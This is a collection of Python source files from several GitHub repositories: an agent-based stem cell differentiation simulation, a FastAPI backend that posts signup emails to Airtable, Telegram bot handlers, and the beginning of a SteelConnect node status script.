self.space.get_neighbors(agent.pos , agent.internalR , True)\n for neighbor in neighbors:\n if type(neighbor) == StemCell and neighbor.differentiated == \"virgin\":\n agent.differentiated = neighbor.differentiated\n agent.time_for_diff = 0\n\n\n\n def updateParams(self):\n agents = self.space._agent_to_index.keys()\n StemCells = [x for x in agents if type(x) == StemCell]\n c = StemCells[self.random.randrange(0 , len(StemCells))]\n self.one_cells_contact = c.chemical_contact\n self.stem_cell_ex_diff = self.stem_cell_ex.differentiated\n\n\n\n def updateTouchingDict(self):\n #self.cellTouchingDict\n for key in self.cellTouchingDict.keys():\n self.cellTouchingDict[key] = []\n\n for agent in self.space._agent_to_index:\n\n if type(agent) == StemCell:\n \n neighbors = self.space.get_neighbors(agent.pos , agent.internalR -.01 , include_center=False)\n for neighbor in neighbors:\n if type(neighbor) == StemCell:\n if neighbor not in self.cellTouchingDict[agent.unique_id]:\n self.cellTouchingDict[agent.unique_id].append(neighbor)\n if agent not in self.cellTouchingDict[neighbor.unique_id]:\n self.cellTouchingDict[neighbor.unique_id].append(agent)\n \n\n def updateBMP4(self):\n self.BMP4vector = Brandon.reaction(self.BMP4)\n\n\n def step(self):\n self.calcAvgs()\n if self.hasCells:\n self.updateParams()\n self.updateTouchingDict()\n self.updateBMP4()\n if self.start_diff == True:\n self.cascade()\n if self.end_time == -2:\n self.end_time = 3\n self.end_time -= 1\n self.schedule.step()\n if self.end_time == -1 and self.start_diff == True:\n self.running = False\n\n \n\n\n\n\n\n\nclass StemCell(Agent):\n '''Creation of Stem Cell Agent\n Attributes: \n Differentiated: Boolean\n Chemical Contact: Int\n Energy: Int\n Time For Diff: Int'''\n\n def __init__(self, unique_id: int, model: Model) -> None:\n super().__init__(unique_id , model)\n self.differentiated = \"virgin\"\n self.chemical_contact = 0\n self.energy = 0\n self.time_for_diff = self.random.randrange(Constants.TIME_FOR_DIFF_UPPER - 10 , Constants.TIME_FOR_DIFF_UPPER + 1)\n self.internalR = Constants.STEMCELL_R\n self.absorbedNOG = []\n\n\n def step(self):\n self.spawnCells()\n self.movement2()\n if self.model.sauce == True:\n self.differentiation_tick()\n\n def movement2(self):\n scaleFactor = 5\n self.energy += self.random.randrange(0 , 3)\n if self.differentiated == \"virgin\":\n neighbors = self.model.cellTouchingDict[self.unique_id]\n neighborPoints = []\n for neighbor in neighbors:\n points = self.intersectingPoints(neighbor)\n if points[0] != self.pos:\n neighborPoints.append(points)\n polarNeighborPoints = []\n for intersection in neighborPoints:\n newInter = self.convertIntersectingPointsPolar(intersection)\n polarNeighborPoints.append(newInter)\n nSets = []\n for intersection in polarNeighborPoints:\n nSets.append(SetRange(intersection[0][1] , intersection[1][1] , True , intersection[1]))\n neighborSet = SetRangeUnion(nSets)\n r = neighborSet.getRange()\n thetas0 = neighborSet.getPoints()\n thetas = []\n for pTuple in thetas0:\n thetas.append(pTuple[0])\n thetas.append(pTuple[1])\n centerDir = self.model.space.get_heading(self.pos , (self.model.avg_x , self.model.avg_y))\n magCenterDir = (centerDir[0] ** 2 + centerDir[1] ** 2)**0.5\n zpAngle = math.atan(centerDir[1] / centerDir[0])\n if centerDir[0] < 0 and centerDir[1] > 0:\n zpAngle += math.pi\n if centerDir[0] < 0 and centerDir[1] < 0:\n zpAngle += math.pi\n if centerDir[0] > 0 and centerDir[1] < 0:\n zpAngle += 2*math.pi\n zpAngle += self.random.random()*(math.pi)/magCenterDir\n while zpAngle > math.pi * 2:\n zpAngle -= math.pi*2\n if zpAngle < (math.pi / 2) or zpAngle > (3 * math.pi / 2):\n l = True\n else:\n l = False\n zpRange = SetRange(zpAngle + math.pi / 2 , zpAngle - math.pi / 2 , True , l)\n noThetas = True\n for theta in thetas:\n if zpRange.numInRange(theta):\n noThetas = False\n if not noThetas:\n if neighborSet.numInRange(zpAngle):\n zpAngle = self.getMinDistanceAlongCircumference(zpAngle , thetas)\n x = self.internalR * math.cos(zpAngle)\n y = self.internalR * math.sin(zpAngle)\n\n head1 = self.model.space.get_heading(self.pos , (self.pos[0] + x, self.pos[1] + y))\n head1 = (head1[0] *(((2*math.pi)-r)/(2*math.pi)) , head1[1]*(((2*math.pi)-r)/(2*math.pi)))\n h = head1[0]\n v = head1[1]\n norm = scaleFactor * (h ** 2 + v ** 2) ** (0.5)\n if h == 0 and v == 0:\n norm = 1\n newPos = (self.pos[0] + (h/norm) , self.pos[1] + (v/norm)) \n self.model.space.move_agent(self , newPos)\n\n\n\n def spawnCells(self):\n if self.energy >= self.model.spawn_freq:\n self.model.currentIDNum += 1\n newCell = StemCell(self.model.currentIDNum , self.model)\n self.model.schedule.add(newCell)\n self.model.space.place_agent(newCell , self.pos)\n self.energy = self.energy // 2\n self.model.num_stem_cells += 1\n self.model.cellTouchingDict[self.model.currentIDNum] = []\n self.model.cells.append(newCell)\n\n\n#Does not work do not use \n#(No more generic morphogens are in this model)\n def BROKEN(self):\n scaleFactor = 0.9\n self.energy += self.random.randrange(0 , 3)\n if self.differentiated == \"virgin\":\n neighbors = self.model.cellTouchingDict[self.unique_id]\n neighborPoints = []\n for neighbor in neighbors:\n points = self.intersectingPoints(neighbor)\n if points[0] != self.pos:\n neighborPoints.append(points)\n polarNeighborPoints = []\n for intersection in neighborPoints:\n newInter = self.convertIntersectingPointsPolar(intersection)\n polarNeighborPoints.append(newInter)\n nSets = []\n for intersection in polarNeighborPoints:\n nSets.append(SetRange(intersection[0][1] , intersection[1][1] , True , intersection[1]))\n neighborSet = SetRangeUnion(nSets)\n r = neighborSet.getRange()\n thetas0 = neighborSet.getPoints()\n thetas = []\n for pTuple in thetas0:\n thetas.append(pTuple[0])\n thetas.append(pTuple[1])\n hComp = 0\n vComp = 0\n for agent in self.model.morphs:\n if agent.dead == False:\n head0 = self.model.space.get_heading(self.pos , agent.pos)\n h = head0[0]\n v = head0[1]\n n = (h ** 2 + v ** 2) ** 0.5\n zpChange = (h * self.internalR / n , v * self.internalR / n)\n zeroPoint = (self.pos[0] + (zpChange[0]) , self.pos[1] + (zpChange[1]))\n zpAngle = self.determineAngle(zeroPoint)\n if zpAngle < (math.pi / 2) or zpAngle > (3 * math.pi / 2):\n l = True\n else:\n l = False\n zpRange = SetRange(zpAngle + math.pi / 2 , zpAngle - math.pi / 2 , True , l)\n x = 0\n y = 0\n noThetas = True\n for theta in thetas:\n if zpRange.numInRange(theta):\n noThetas = False\n if not noThetas:\n if neighborSet.numInRange(zpAngle):\n zpAngle = self.getMinDistanceAlongCircumference(zpAngle , thetas)\n x = self.internalR * math.cos(zpAngle)\n y = self.internalR * math.sin(zpAngle)\n head1 = self.model.space.get_heading(self.pos , (self.pos[0] + x, self.pos[1] + y))\n head1 = (head1[0] *(((2*math.pi)-r)/(2*math.pi)) , head1[1]*(((2*math.pi)-r)/(2*math.pi)))\n hComp += head1[0]\n vComp += head1[1]\n norm = scaleFactor * (hComp ** 2 + vComp ** 2) ** (0.5)\n if hComp == 0 and vComp == 0:\n norm = 1\n newPos = (self.pos[0] + (hComp/norm) , self.pos[1] + (vComp/norm)) \n self.model.space.move_agent(self , newPos)\n \n\n def isTouchingOtherCells(self , point):\n d = self.model.space.get_distance(self.pos , point)\n l = d - (2*self.internalR)\n if l <= 0:\n return True \n return False\n\n def isTouching(self , other:Agent):\n d = self.model.space.get_distance(self.pos , other.pos)\n l = d - self.internalR - other.internalR\n if l <= 0:\n return True \n return False\n\n def reaction_regulation(self):\n return\n\n def spawnBMP4(self, num):\n for i in range(num):\n self.model.currentIDNum += 1\n n = NOG(self.model.currentIDNum, self.model)\n self.model.schedule.add(n)\n r = self.internalR + 0.001\n theta = self.model.random.random() * 2 * math.pi\n x = r * math.cos(theta) + self.pos[0]\n y = r * math.sin(theta) + self.pos[1]\n self.model.space.place_agent(n , (x , y))\n self.absorbedNOG = []\n\n\n def differentiation_tick(self):\n if self.time_for_diff > 0:\n self.time_for_diff -= 1\n else:\n matrixIndex = (self.pos[0] // Brandon.dx, self.pos[1] // Brandon.dx)\n vectorIndex = points * matrixIndex[0] + matrixIndex[1]\n BMP4conc = self.model.BMP4vector[vectorIndex]\n\n\n if self.differentiated == \"virgin\":\n if self.model.start_diff == False:\n self.model.start_diff = True\n if self.BMP4conc >= self.model.endo_min:\n self.differentiated = \"endo\"\n if self.BMP4conc < self.model.endo_min and self.chemical_contact >= self.model.ecto_max:\n self.differentiated = \"meso\"\n if self.BMP4conc < self.model.ecto_max:\n self.differentiated = \"ecto\"\n \n\n\n def tracking_update(self): \n return \n\n def intersectingPoints(self , other):\n a = self.pos[0]\n b = self.pos[1]\n c = other.pos[0]\n d = other.pos[1]\n r = self.internalR\n D = ((a-c)**2 + (b-d)**2)**0.5\n if d == b:\n x1 = min(a,c) + r * ( (2)**0.5 / 2)\n x2 = x1\n y1 = ((r)**2 - (r * ( (2)**0.5 / 2))**2) ** 0.5\n y2 = -1 * y1\n else:\n if D > 2*self.internalR:\n return [(self.pos[0] , self.pos[1])]\n E = (r**2 - (D/2)**2)**0.5\n M = (c-a)/(b-d)\n B = (b**2 - d**2)/(c**2 - a**2)\n theta = math.atan2(c-a , b-d)\n midX = (a+c)/2\n midY = (b+d)/2\n dist = E * math.cos(theta)\n x2 = midX + dist\n y2 = M*x2 + B\n x1 = midX - dist\n y1 = M*x1 + B\n val = False\n head = self.model.space.get_heading(self.pos , other.pos)\n if head[0] > 0 and b > min(y2,y1) and b < max(y2,y1):\n val = True \n return [(x1,y1) , (x2,y2) , val]\n\n def convertIntersectingPointsPolar(self, points):\n polarCoords = []\n \n p = (points[0] , points[1])\n polar0 = [self.internalR]\n polar1 = [self.internalR]\n polar0.append(self.determineAngle(p[0]))\n polar1.append(self.determineAngle(p[1]))\n\n polarCoords.append(tuple(polar0))\n polarCoords.append(tuple(polar1))\n\n polarCoords.append(points[2])\n return polarCoords\n\n def determineAngle(self, point):\n radius = self.internalR\n center = self.pos\n if point == (center[0] , center[1] + radius):\n angle = math.pi / 2\n elif point == (center[0] + radius , center[1]):\n angle = 0\n elif point == (center[0] - radius , center[1]):\n angle = math.pi\n elif point == (center[0], center[1] - radius):\n angle = math.pi * 3 / 2\n\n else:\n x = point[0]\n y = point[1]\n theta = math.atan(y/x)\n if point[0] > center[0] and point[1] > center[1]:\n angle = theta\n elif point[0] < center[0] and point[1] > center[1]:\n angle = math.pi - theta\n elif point[0] > center[0] and point[1] < center[1]:\n angle = (2*math.pi) - theta\n elif point[0] < center[0] and point[1] < center[1]:\n angle = theta+(math.pi)\n return angle\n\n\n\n\n def getMinDistanceAlongCircumference(self, zeroPoint , thetas):\n distances = []\n if thetas == []:\n return zeroPoint\n else:\n for theta in thetas:\n distances.append(abs(theta - zeroPoint))\n angle = min(distances)\n corrIndex = distances.index(angle)\n return thetas[corrIndex]\n\n\n \n \n\n\n\nclass SetRange:\n\n def __init__(self , num1 , num2 , closed , lapped):\n self.lower = min(num1 , num2)\n self.upper = max(num1 , num2)\n self.closed = closed\n self.lapped = lapped\n\n def __lt__(self , other):\n return self.lower < other.lower\n\n\n def numInRange(self , num):\n if self.closed:\n if num == self.lower or num == self.upper:\n return True\n if not self.lapped:\n return (num > self.lower) and (num < self.upper)\n else:\n return (num < self.lower) or (num > self.upper)\n \n\n def getPoints(self):\n return (self.upper , self.lower)\n\n def getRange(self):\n if self.lapped:\n return (2*math.pi) - (self.upper - self.lower)\n return self.upper - self.lower\n\n def __eq__(self , other):\n return (self.upper == other.upper) and (self.lower == self.lower) and (self.closed == other.closed)\n\n def __str__(self) -> str:\n if self.closed:\n return \"[{} , {}]\".format(self.lower , self.upper)\n return \"({} , {})\".format(self.lower , self.upper)\n\n\nclass SetRangeUnion:\n \n def __init__(self , sets):\n setCopy = []\n for set in sets:\n if set.lapped == True:\n setCopy.append(SetRange(0 , set.lower , True , False))\n setCopy.append(SetRange(set.upper , math.pi*2 , True , False))\n else: \n setCopy.append(set)\n\n self.sets = sorted(setCopy)\n if len(self.sets) > 1:\n i = 1\n new = []\n currSet = self.sets[0]\n while i <= len(self.sets) - 1:\n nextSet = self.sets[i]\n if currSet.upper > nextSet.lower:\n if nextSet.upper > currSet.upper:\n currSet.upper = nextSet.upper\n else: \n new.append(currSet)\n currSet = nextSet\n i += 1\n new.append(currSet)\n self.sets = new\n\n\n def numInRange(self , num):\n for set in self.sets:\n val = set.numInRange(num)\n if val:\n return True\n return False\n\n def getRange(self):\n r = 0\n for s in self.sets:\n r += s.getRange()\n return r\n\n\n def getPoints(self):\n points = []\n for s in self.sets:\n points.append(s.getPoints())\n return points\n\n\nclass BMP4(Agent):\n '''Creation of BMP4 Agent'''\n\n def __init__(self, unique_id: int, model: Model) -> None:\n super().__init__(unique_id, model)\n self.immobilized = False\n self.immobilized_timer = 0\n self.active = True\n self.active_timer = 0\n self.internalR = Constants.BMP4_R\n\n def step(self):\n self.movement()\n self.reaction_regulation()\n\n\n def movement(self):\n if self.immobilized == False:\n heading = self.model.space.get_heading(self.pos , self.model.center_pos)\n if heading[0] > 0 and heading[1] > 0:\n if self.random.randrange(0 , 2) < 1: #Vertical Shift\n\n x = heading[0]\n y = self.random.uniform(-heading[0] , heading[1])\n\n else: #Horizontal Shift\n\n x = self.random.uniform(-heading[1] , heading[0])\n y = heading[1]\n\n elif heading[0] < 0 and heading[1] < 0:\n\n if self.random.randrange(0 , 2) < 1: #Vertical Shift\n\n x = heading[0]\n y = self.random.uniform(heading[1] , -heading[0])\n\n else: #Horizontal Shift\n\n x = self.random.uniform(heading[0] , -heading[1])\n y = heading[1]\n\n elif heading[0] < 0 and heading[1] > 0:\n\n if self.random.randrange(0 , 2) < 1: #Vertical Shift\n\n x = heading[0]\n y = self.random.uniform(heading[0] , heading[1])\n\n else: #Horizontal Shift\n\n x = self.random.uniform(heading[0] , heading[1])\n y = heading[1]\n\n elif heading[0] > 0 and heading[1] < 0:\n\n if self.random.randrange(0 , 2) < 1: #Vertical Shift\n\n x = heading[0]\n y = self.random.uniform(heading[1] , heading[0])\n\n else: #Horizontal Shift\n\n x = self.random.uniform(heading[1] , heading[0])\n y = heading[1]\n\n elif heading == (0,0):\n \n x = 1\n y = 1\n\n\n norm = (x ** 2 + y ** 2) ** 0.5\n xDisplacement = x / (norm * 3)\n yDisplacement = y / (norm * 3)\n \n self.model.space.move_agent(self , (self.pos[0] + xDisplacement , self.pos[1] + yDisplacement))\n for agent in self.model.space._agent_to_index:\n if type(agent) == StemCell:\n if self.isTouching(agent):\n xDisplacement = -xDisplacement / 2\n yDisplacement = -yDisplacement / 2\n self.model.space.move_agent(self , (self.pos[0] + xDisplacement , self.pos[1] + yDisplacement))\n if self.random.randrange(0 , 100) < 49:\n self.immobilized = True\n self.immobilized_timer = self.random.randrange(0 , 11)\n else:\n self.immobilized_timer -= 1\n if self.immobilized_timer == 0:\n self.immobilized = False\n \n \n\n\n def reaction_regulation(self):\n if self.active_timer == 0:\n for agent in self.model.space._agent_to_index:\n if type(agent) == NOG:\n if self.isTouching(agent):\n self.active = False\n self.active_timer = self.random.randrange(0 , 11)\n else:\n self.active_timer -= 1\n if self.active_timer == 0:\n self.active = True\n\n\n \n\n def isTouching(self , other:Agent):\n d = self.model.space.get_distance(self.pos , other.pos)\n l = d - self.internalR - other.internalR\n if l <= 0:\n return True \n return False\n\n\n\n\n#class NOG(Agent):\n # '''Creation of NOG Agent'''\n\n # def __init__(self, unique_id: int, model: Model) -> None:\n # super().__init__(unique_id, model)\n # self.internalR = Constants.NOG_R\n # self.absorbed = False\n\n\n #def step(self):\n # if not self.absorbed:\n # self.movement()\n\n\n #def movement(self):\n # heading = self.model.space.get_heading(self.pos , self.model.center_pos)\n # if heading[0] > 0 and heading[1] > 0:\n # if self.random.randrange(0 , 2) < 1: #Vertical Shift\n\n # x = heading[0]\n # y = self.random.uniform(-heading[0] , heading[1])\n\n # else: #Horizontal Shift\n\n #x = self.random.uniform(-heading[1] , heading[0])\n # y = heading[1]\n\n # elif heading[0] < 0 and heading[1] < 0:\n\n # if self.random.randrange(0 , 2) < 1: #Vertical Shift\n\n # x = heading[0]\n # y = self.random.uniform(heading[1] , -heading[0])\n\n # else: #Horizontal Shift\n\n # x = self.random.uniform(heading[0] , -heading[1])\n # y = heading[1]\n\n #elif heading[0] < 0 and heading[1] > 0:\n\n # if self.random.randrange(0 , 2) < 1: #Vertical Shift\n\n # x = heading[0]\n # y = self.random.uniform(heading[0] , heading[1])\n\n #else: #Horizontal Shift\n\n # x = self.random.uniform(heading[0] , heading[1])\n # y = heading[1]\n\n # elif heading[0] > 0 and heading[1] < 0:\n\n # if self.random.randrange(0 , 2) < 1: #Vertical Shift\n\n # x = heading[0]\n # y = self.random.uniform(heading[1] , heading[0])\n\n # else: #Horizontal Shift\n\n # x = self.random.uniform(heading[1] , heading[0])\n # y = heading[1]\n\n #elif heading == (0,0):\n\n # x = 1\n # y = 1\n\n\n #norm = (x ** 2 + y ** 2) ** 0.5\n # xDisplacement = x / (norm * 0.5)\n # yDisplacement = y / (norm * 0.5)\n \n #self.model.space.move_agent(self , (self.pos[0] + xDisplacement , self.pos[1] + yDisplacement))\n\n\n # def isTouching(self , other:Agent):\n # d = self.model.space.get_distance(self.pos , other.pos)\n # l = d - self.internalR - other.internalR\n # if l <= 0:\n # return True \n #return False\n\n\n\n\n\n \n\n","repo_name":"jsgreen03/StemCellABM","sub_path":"StemCellABM.py","file_name":"StemCellABM.py","file_ext":"py","file_size_in_byte":28824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18820561059","text":"\"\"\"\nNOTES:\n- Whatever you return from an API route is what is grabbed\nfrom the Frontend response = await fetch()! That's how they link\n- Request.body() returns BYTES\n- I MUST use Request.json() to convert BYTES to JSON!\n- Request.json() returns the JSON but I can access using result['email']\n- I can access the POST Request data sent from the Frontend via Request\nbut, I can also use Pydantic models as well e.g. signup.email\n- Need to be mindful of the column names in airtable_client.create_records(data:dict)\n- NOTE 'result' depends on what I return from FastAPI endpoint\nE.g., If I just return result -> {email: \"signup@abc.com\"}\nE.g., If I return a dict { \"result\": result_json, \"a\": 1 } -> {result: {...}, a: 1}\n\"\"\"\nimport config\nimport pathlib\nimport time\nimport datetime\nimport pandas as pd\nimport ccxt\nfrom fastapi import FastAPI, Request, Response\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom pydantic import BaseModel\nfrom .airtable import Airtable\n\n# NOTE fastapi-airtable/backend/src/app.py\nBASE_DIR = pathlib.Path(__file__).parent # src\n\n\n# ===== Schemas\nclass TextArea(BaseModel):\n content: str\n\nclass User(BaseModel):\n id: int\n name: str\n\nclass Signup(BaseModel):\n email: str\n\n\n# ===== Data\nusers = [\n {\n \"id\": 1,\n \"name\": \"Gaylon\"\n },\n {\n \"id\": 2,\n \"name\": \"Ashley\"\n },\n {\n \"id\": 3,\n \"name\": \"Adrian\"\n },\n {\n \"id\": 4,\n \"name\": \"Aaron\"\n },\n]\n\napp = FastAPI()\n\n# Allow CORS for FE/BE communication\n# https://fastapi.tiangolo.com/tutorial/cors/?h=cors\norigins = [\n \"http://localhost\",\n \"http://localhost:3000\" # Vue\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\n\n\n@app.get(\"/\")\nasync def read_root():\n return { \"message\": \"Hello, World\"}\n\n# @app.get(\"/file\")\n# def read_index():\n# return FileResponse(\"../../frontend/index.html\")\n\n@app.get(\"/vite\")\ndef read_vite(response: Response):\n # return {\"request\": request, \"message\": \"This is the return from /vite GET\"}\n # return {\"request\": request } # Error\n # return {\"message\": \"This is the return from /vite GET\"} # Works\n response.body = \"Response body content\"\n return { \"response\": response, \"fruit\": \"apple\", \"status_code\": response.status_code } # Works\n\n\n@app.get(\"/users\")\nasync def read_users():\n \"\"\"Return list of users\"\"\"\n return users # Works without any Model, Response, etc.\n\n# WORKS because it's returning the data in JSON\n@app.post('/add')\nasync def post_textarea(data: TextArea):\n # print(\"content: \", content)\n # return {\"content\": content}\n print(data.dict()) # Works\n return {**data.dict()} # Works\n\n@app.post(\"/user\", response_model=User)\nasync def create_user(request: Request, user: User):\n # Q: Need async? Don't think so for this simple task...\n # A: Nope, both work.\n # Q: Can I grab the user data from the Request?\n # NOTE Must use AWAIT with request.body()!\n # A: Yes! Here's print: request.body(): b'{\"id\":\"8\",\"name\":\"Mickey\"}'\n request_body = await request.body()\n print(\"request.body(): \", request_body)\n\n # Let's take the User object sent in the request and append to users\n # users.append(user) # Error! Need to convert to dict first!\n # NOTE Read more https://fastapi.tiangolo.com/tutorial/body/\n # print(\"type(user): \", type(user)) # \n user_dict = user.dict()\n users.append(user_dict)\n # return \"Way to go!\" # CORS (because not response_model)\n # return { \"id\": 100, \"name\": \"Elon\"} # Works since it's a User model\n # NOTE Whatever we send here is grabbed with await fetch() on Frontend!\n return user # Works\n\n\n# # Null/Empty\n# @app.post('/add')\n# async def post_textarea(response: Response):\n# return { \"response\": response } # body: \"\"\n# # return response.body # \"\"\n\n# ONLY seems to work with Response!\n# @app.get(\"/\")\n# async def main(response: Response):\n# \"\"\"\n# Returns a Response with a simple message.\n# \"\"\"\n# message = \"Hello, World\"\n# response.body = { \"message\": message }\n# # return {\"message\": \"Hello, World\"}\n# # return {\"response\": response} # Works {\"response\": {\"status_code\": ...,}}\n# # return response # Error - Empty Response\n# # return response.body # Works!\n# return {response} # Works [{\"status_code\": ...,}]\n# # return \"Hello world\" # Works \"Hello World\"\n\n\n# Using python-multipart Form\n# NOTE Tutorial uses Templates and method=\"POST\" for
\n# Therefore, they added param: email:str = Form(...)\n# @app.post(\"/\")\n# async def submit_signup(response: Response):\n# \"\"\"\n# Creates a new entry in Airtable with a signup email address.\n# \"\"\"\n# # TODO Add CSRF for security\n# # return {\"submitted_email\": email}\n# # return {\"request\": request} # CORS error\n# # return request # CORS error\n# return {response}\n\n# Let's try to parse the request.body which is set inside App.vue submitForm()\n# ASYNC - WORKS!\n@app.post(\"/\")\nasync def submit_signup(request: Request, signup: Signup):\n # 1. Grab the request body data\n # print(request) # \n # return { request.body } # Empty...\n # return request # CORS error\n # return {\"request\": request} # CORS\n # IMPORTANT I must await since I'm using async!\n # IMPORTANT I must use json() to convert bytes to JSON!\n # NOTE The body() returns BYTES request.body(): b'{\"id\":\"8\",\"name\":\"Mickey\"}'\n # NOTE Cannot use request.dict() as dict doesn't exist on type Request\n # result = await request.body()\n result_json = await request.json()\n # print(\"request.body: \", request.body) # \n # print(\"request.body(): \", request.body()) # request.body(): \n # print(\"result: \", result) # result: b'{\"email\":\"another@alkjs.com\"}'\n print(\"request.json(): \", result_json) # request.json(): {'email': 'another@abc.com'}\n email = result_json['email']\n print(\"result_json['email']: \", email) # Works!? result_json['email']: getemail@email.com\n\n # Q: Okay, I know now how to get email from Request. What about Pydantic model?\n print(signup) # email='sigupmodel@abc.com'\n print(type(signup)) # \n signup_dict = signup.dict()\n print(signup_dict) # {'email': 'signupdictemailkey@abc.com'}\n\n # 2. Establish connection/interface with Airtable\n airtable_client = Airtable(\n base_id=config.AIRTABLE_BASE_ID,\n api_key=config.AIRTABLE_API_KEY,\n table_name=config.AIRTABLE_TABLE_NAME\n )\n\n # 3. Send this data to Airtable via our Airtable client\n # When create_records has email param:\n # airtable_client.create_records(email=result_json['email'])\n # When create_records has data dict param:\n # airtable_client.create_records(signup.dict()) # Doesn't work...\n # airtable_client.create_records(**signup.dict()) # Doesn't work...\n # airtable_client.create_records({\"email\": signup.email}) # Doesn't work...\n # airtable_client.create_records({\"email\": signup_dict[\"email\"] }) # Doesn't work...\n # OMG! The table column name is \"user_email\" NOT \"email\"!!!\n # airtable_client.create_records({\"user_email\": signup_dict[\"email\"] }) # WORKS!\n # airtable_client.create_records({\"user_email\": signup.email}) # WORKS!\n airtable_success:bool = airtable_client.create_records({\"user_email\": signup.email}) # WORKS!\n\n\n # return result\n # return result_json\n return { \"result\": result_json, \"airtable_success\": airtable_success }\n\n# SYNC - BROKEN!\n# @app.post(\"/\")\n# def submit_signup(request: Request):\n# # print(request) # \n# # return { request.body } # Empty...\n# # return request # CORS error\n# # return {\"request\": request} # CORS\n# # TODO Read the Deno router.post(\"/launches\")\n# print(request.body())\n# # return request # CORS\n# return request.body() # CORS\n\n# Gonna try to see about returning a Pandas DF as JSON and exposing as a endpoint\n@app.get(\"/exchange\")\nasync def fetch_exchange_data(response: Response):\n \"\"\"Simple GET to Binance via ccxt\"\"\"\n # def fetch_data(symbol: str, timeframe: str, limit: int) -> pd.DataFrame:\n # 1. Grab our data\n exchange = ccxt.binance()\n\n # open high low close data\n bars = exchange.fetch_ohlcv(symbol=\"ETH/USDT\", timeframe=\"1d\", limit=30)\n\n # Create a DF but only with completed timestamps (ie exclude last row)\n data = pd.DataFrame(\n bars[:-1], columns=[\"timestamp\", \"open\", \"high\", \"low\", \"close\", \"volume\"]\n )\n\n # Make timestamp easier to read\n data.timestamp = pd.to_datetime(data.timestamp, unit=\"ms\") # 2021-05-11 23:00:00\n\n data_json = pd.DataFrame.to_json(data)\n\n # Q: Should I attach this data to Reponse.body?\n # A: Works! Can do this if we wanted and adjust in Frontend's await fetch\n response.body = data_json\n\n # print(data.head())\n # return data_json # Works \"{\\\"timestamp\\\": {...}}}\"\n return { \"response\": response, \"data_json\": data_json } # Works!\n","repo_name":"gaylonalfano/vue-fastapi-airtable","sub_path":"backend/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19893779677","text":"from aiogram import Dispatcher, types\nfrom aiogram.dispatcher import filters, FSMContext\nfrom aiogram.types.reply_keyboard import ReplyKeyboardRemove\n\nfrom tgbot.database.models.fields import Client\nfrom tgbot.keyboards import reply_kb\nfrom tgbot.texts import texts\nfrom tgbot.filters.create_order_filters import ListStateFilter\nfrom tgbot.FSMStates.client_st import FSMRegistration\nfrom tgbot.middlewares.common_mw import AdminsIDs\nimport tgbot.utils.helpers_for_hendlers as hfh\n\nasync def back(message: types.Message, state: FSMContext, db_worker):\n data = await state.get_data()\n state_group, return_hendlers = data.get('hendlers_dct', (None, {}))\n previous_name = None\n if state_group:\n await hfh.delete_state_value(state)\n previous_name = await state_group.previous()\n await hfh.delete_state_value(state)\n back_hendler = return_hendlers.get(previous_name, no_command if previous_name else no_state)\n # print(await state.get_data())\n await back_hendler(message, state=state, db_worker=db_worker)\n\ndef get_full_name(first_name, last_name):\n return f'{first_name} {last_name}' if last_name else first_name\n\nasync def known_start(message: types.Message):\n await message.answer('Hello')\n # id_con = message.from_user.id\n # contact = contacts[id_con]\n # await message.answer(f'Hello {contact.firstname} {contact.lastname}')\n\nasync def registration(message:types.Message, state:FSMContext):\n if await filters.IsSenderContact(True).check(message):\n client = Client(\n message.from_user.id,\n message.from_user.first_name,\n message.from_user.last_name,\n message.from_user.username,\n message.contact.phone_number\n )\n client.insert_to_db()\n # contacts[client.id] = client\n name = get_full_name(client.first_name, client.last_name)\n await message.answer(f'{name}, Вас зареєстровано успішно', reply_markup=reply_kb.make_main_kb())\n await state.finish()\n else:\n await message.answer('Вибачте, це не ваш контакт')\n\nasync def wrong_command(update: types.Message|types.CallbackQuery, *args):\n await update.answer('Неправильна команда')\n\nasync def no_state(update: types.Message|types.CallbackQuery, *args):\n await update.answer('Скористайтесь меню', reply_markup=reply_kb.make_main_kb())\n\n@hfh.need_admin()\nasync def send_link_to_admin(message: types.Message, admin):\n await message.answer(\n f'Щоб написати адміну перейдіть за посиланням:\\n{texts.TG_LINK}{admin}'\n )\n \ndef hendlers_registration(dp: Dispatcher):\n # dp.register_message_handler(back, filters.Text('Назад'), state='*')\n dp.register_message_handler(known_start, commands='start')\n dp.register_message_handler(registration,content_types='contact', state=FSMRegistration.contact)\n dp.register_message_handler(send_link_to_admin, filters.Text(equals='Написати адміну'))\n # dp.register_message_handler(no_command)\n \n dp.register_message_handler(no_state, state=None)\n dp.register_callback_query_handler(wrong_command, state='*')\n dp.register_message_handler(wrong_command, state='*')\n\n","repo_name":"Dmytro-Babenko/telegram","sub_path":"tgbot/handlers/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37200637045","text":"#!/usr/bin/env python3\n\"\"\"\nDisplays node status of SteelConnect nodes: green = online, red = offline.\n\nDesigned for Python3, and requires the Requests library.\n\nWhen CSV file used for multiple realms,the following headers are required:\n scm,username,password,org (optional)\n\nUSAGE:\n steelconnect_node_status.py [-s scm.riverbed.cc] [-o organisation]\n [-u username] [-p password] [-f file]\n\nSCM interaction based on Greg Mueller's work in scrap_set_node_location.py:\nhttps://github.com/grelleum/SteelConnection/blob/develop/examples/set_node_location.py\n\"\"\"\n\nfrom time import time\nimport argparse\nimport collections\nimport csv\nimport getpass\nimport json\nimport requests\nimport sys\nimport operator\nimport re\n\n\ndef main(argv):\n \"\"\" Open CSV file if specified, then check sites and node status\"\"\"\n args = arguments(argv)\n nodes = []\n sites = []\n # Open CSV file if specified\n if args.file:\n orgs_csv = open_csv(args.file)\n result = []\n for orgs in orgs_csv:\n scm = orgs['scm']\n username = orgs['username']\n password = orgs['password']\n org = orgs['org']\n baseurl_reporting = 'https://' + scm + '/api/scm.reporting/1.0/'\n baseurl_config = 'https://' + scm + '/api/scm.config/1.0/'\n auth = (username, password)\n # get information from SCM and calculate latency in ms\n time_before = time()\n org = find_org(baseurl_config, auth, org)\n time_after = time()\n time_taken = round((time_after-time_before)*1000, 2)\n # create objects for sites and nodes for retrieval later\n realm_fw = get_realm_fw(baseurl_config, auth, scm)\n 